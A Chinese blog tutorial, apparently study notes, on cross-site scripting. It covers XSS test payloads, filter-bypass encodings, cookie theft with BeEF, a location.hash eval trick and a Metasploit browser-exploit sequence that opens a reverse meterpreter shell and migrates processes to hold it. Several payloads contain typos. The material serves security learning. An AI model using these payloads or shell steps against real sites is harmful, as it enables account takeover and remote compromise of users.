Web渗透06_XSS

XSS漏洞描述

XSS是非常厉害的漏洞,在OWASP TOP10中榜上有名。

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。

人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。但我认为这个中文名字不是太好,XSS说白了就是利用JS脚本的强大能力,攻击者通过一些手段,比如说评论功能,留言功能,等等,把一段JS代码插入到受害网站中,如果受害者网站对用户输入的信息过滤不足,任何人在浏览时都会遭受到这段JS代码的威胁。甚至是本来就是恶意的一些网站,没有任何人攻击写入恶意代码,而是网站制作者本身的恶意写入去攻击网站浏览者。所以 引入恶意脚本的站点攻击 这个名字更适合他。

危害: 盗取受害者cookie信息,电脑截屏,获取用户电脑的shell(打开cmd的权限),盗取账号,劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫, js功能的强大超乎我们的想像。

XSS漏洞验证

利用一段简洁的代码,去测试网站有没有XSS的漏洞。这样的代码叫做 POC(Proof of Concept) proof 英[pruːf] n:证据; 证明; 检验;

网站一般会对<标签>, ', ", \进行过滤

<script>alert('xss')</script> // 标签验证是否存在标签的过滤,如果出现弹窗则证明存在漏洞

<script>confirm('xss')</script> // 标签验证是否存在标签的过滤,如果出现弹窗则证明存在漏洞

<script>promot('xss')</script> // 标签验证是否存在标签的过滤,如果出现弹窗则证明存在漏洞

在有关页面输入此类代码进行提交,对结果页面进行检查,通常脚本是不会显示到页面上的,如果提交评论其他文字会有显示,而js代码却没有显示,则很可能攻击成功,我们可以查看网页源代码进行查找是否成为了网页的js脚本。

如果这一小段代码引入成功,那么其他更加恐怖的代码也可以成功了。

练习平台

pikachu

xsschallenge

分类

从攻击代码的工作方式可以分为三个类型:

(1)持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。

(2)非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。

(3)DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。

基于DOM的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM环境时未进行合理的处置,而使得攻击脚本被执行。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。

非持久性 反射性跨站

利用一些表单的变量,进行攻击。

www.abc.com/index.php?submit=submit&a=<script>alert('xss')</script>

其中submit是提交的结果显示,而a这个变量是用户提交的东西(评论,搜索内容等等),而这个链接会显示用户提交后的网页,这样,只要访问就会出现弹窗。所以不要乱点不明链接。点击即可触发反射形XSS攻击

持久性 存储型

把恶意代码放到网站数据库中,网站是会存储用户的信息的,比如说评论信息,文章信息。你的一些发布的东西都会被永久的存储到数据库中,如果你提交的东西里包含可执行的恶意代码,别的用户在通过动态网站的访问时,网站从数据库里取出你放的评论(内有恶意代码),显示给其他人,恶意JS代码也就会执行。

DOM型

纯网站自己编写的JS存在漏洞,导致其他人根据这些漏洞,把恶意代码写入页面。

DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。其防御在于:
(1) 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务器端使用动态页面来实现;
(2) 分析和强化客户端JS代码,特别是受到用户影响的DOM对象,注意能直接修改DOM和创建HTML文件的相关函数或方法,并在输出变量到页面时先进行编码转义,如输出到HTML则进行HTML编码、输出到则进行JS编码。

XSS的构造

伪协议

javascript: 伪协议的方式构造 XSS。

<a href="javasript:alert('xss')">clickMe</a>
<img src="javasript:alert('xss')" />

事件驱动

利用JS 对网页中的各种操作事件的响应,去触发JS代码进行 XSS。

  1. Windows事件
  2. Form事件 填写的触发
  3. KeyBoard事件 键盘
  4. Mouse事件 鼠标点击
  5. Media事件 多媒体触发

<img src="images/defualt.jpg" onmouseover="alert('xss')" />

<input type='text' onkeydown="alert('xss')" />

利用CSS进行 XSS

style="backgroud-image:url(javasript:alert('xss'))"

XSS的变形绕过

利用XSS的各种形式,达到对于过滤器,过滤函数的绕过。

大小写转换

<Img sRc='#' Onerror="alert" />

<a hRef="javasript:alert('xss')"> clickMe </A>

引号利用

HTML对引号没啥感觉,以下三者都可以用。

img src="#" onerror="alter('xss')"

img src="#" onerror='alter('xss')'

img src="#" onerror=alter('xss')

[/]代替空格

<Img/sRc='#'/Onerror="alert">

TAB 换行符绕过

<a hRef="j
av
asri
pt:alert('xss')"> clickMe </A>

转码绕过

字符 编码 十进制编码 十六进制编码
a 97 &#97; &#x61;
e 101 &#101; &#x65;
Tab &#9; 可以插入任意位置
换行 &#10; 可以插入任意位置
回车 &#13; 可以插入任意位置
SOH &#01; 可以插入头部位置
STX &#02; 可以插入头部位置

<a hRef="&#01;j&#97;vas&#10;ript:alert('xss')"> clickMe `

双写绕过

这个有点问题。

<script><scr<script>ipt>

XSS防御👀

永远不要相信用户的输入。

Beef

Kali的一款工具。利用特定的JS代码,使得遭受这段代码攻击的人,在 beef服务器上上线,类似灰鸽子,可以浏览器劫持,获取受害主机的cookie,shell命令行权限等等。

安装完成后要修改配置文件,因为安全考虑,要修改在配置文件中的 默认账户名和密码。

Cookie窃取

通过窃取受害者cookie,如果网站以cookie信息验证用户身份,则攻击者可以在自己的电脑中写入获取的cookie信息,直接登录后台而不会受阻。

document.cookie="username=admin";
document.cookie="password=123456";

利用浏览器漏洞获取shell

利用msf,msf是kali自带的一个工具,利用它生成一个可以利用浏览器漏洞获取shell的页面,让beef受害者重定向(**Redirect Browser*)到这个页面,即可查看用户本地进程,打开受害者的shell,但是一旦受害者断开页面或浏览器,这样的连接就会断开,所以要及时切换攻击进程的位置。

msfconsole # 启动工具
use exploit/windows/browser/ms10_002_aurora # 利用模块
set payload windows/meterpreter/reverse_tcp
set SRVHOST 123.123.123.123 #目标地址
show options # 展示操作结果
set LHOST 11.11.11.11 #本机地址
show options # 展示操作结果
exploit # 攻击页面生成 URL 

# 利用重定向使用户访问页面
sessions -i    #查看受害者连接
sessions -i 1  #进入到受害者会话
ps             #查看受害者主机进程列表 任务管理器
getuid         # 获取攻击进程的序号
migrate 1532   # 切换进程来维持长久连接

XSSpt.com

一个XSS漏洞利用平台。创建自己的项目,配置相关的攻击模块,自动会生成JS代码,在由XSS漏洞的平台里,用外部JS引入攻击代码,即可获取受害者信息,以及其他的一些操纵。

攻击方法扩充

windows.location.hash

windows.location.hash会取得浏览器的url中 #以及后面的字符串。

url_http://abc.com/index.php?a=5#abcdef
location.hash=#abcdef

攻击实例:http://abc.com/index.php?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/你好世界/)
substr(index)会截取第几个字符后面的字符,从1开始。

备选存储技术

把XSS代码写到cookie中,用户登录或者是其他一些用到cookie信息的时候,一些网页会提取cookie信息,并展示给用户看,这个时候XSS就执行了。

Ajax

利用Ajax去请求远端的JS代码,执行攻击。

最后就是多练习🤦‍♀️🤦‍♂️🤷‍♂️🤷‍♀️

网上有很多XSS练习平台,有的是在线网页的可以去人家的网站,还有可以下载下来放到自己机器上的练习网站。

多练。😒

posted @ 2021-08-09 11:03  Dba_sys  阅读(111)  评论(0编辑  收藏  举报